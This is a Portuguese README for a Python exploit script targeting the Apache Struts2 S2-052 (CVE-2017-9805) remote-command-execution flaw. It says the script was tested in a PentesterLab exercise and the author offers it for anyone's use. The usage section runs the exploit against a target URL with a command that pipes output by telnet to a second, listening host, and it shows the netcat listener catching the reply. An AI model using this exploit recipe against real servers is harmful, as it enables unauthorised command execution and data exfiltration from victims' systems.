Informações sobre vulnerabilidade

Recursos: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805

O que é isso?

Um script de exploit em Python capaz de executar comandos remotos no shell de um sistema que hospeda um Struts2 vulnerável ao S2-052.

Uso

╭─root@blackshell ~/
╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"

[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.

╭─zc00l@blackshell ~/
╰─$ nc -lvp 1234

listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned

Testado na máquina vulnerável do exercício s2-052 do pentesterlab.

Direitos do autor

Este script de exploit foi escrito por mim (zc00l) e pode ser usado por qualquer pessoa.

Caso queira usar ou modificar este script, por favor, dê os devidos créditos pelo trabalho já realizado.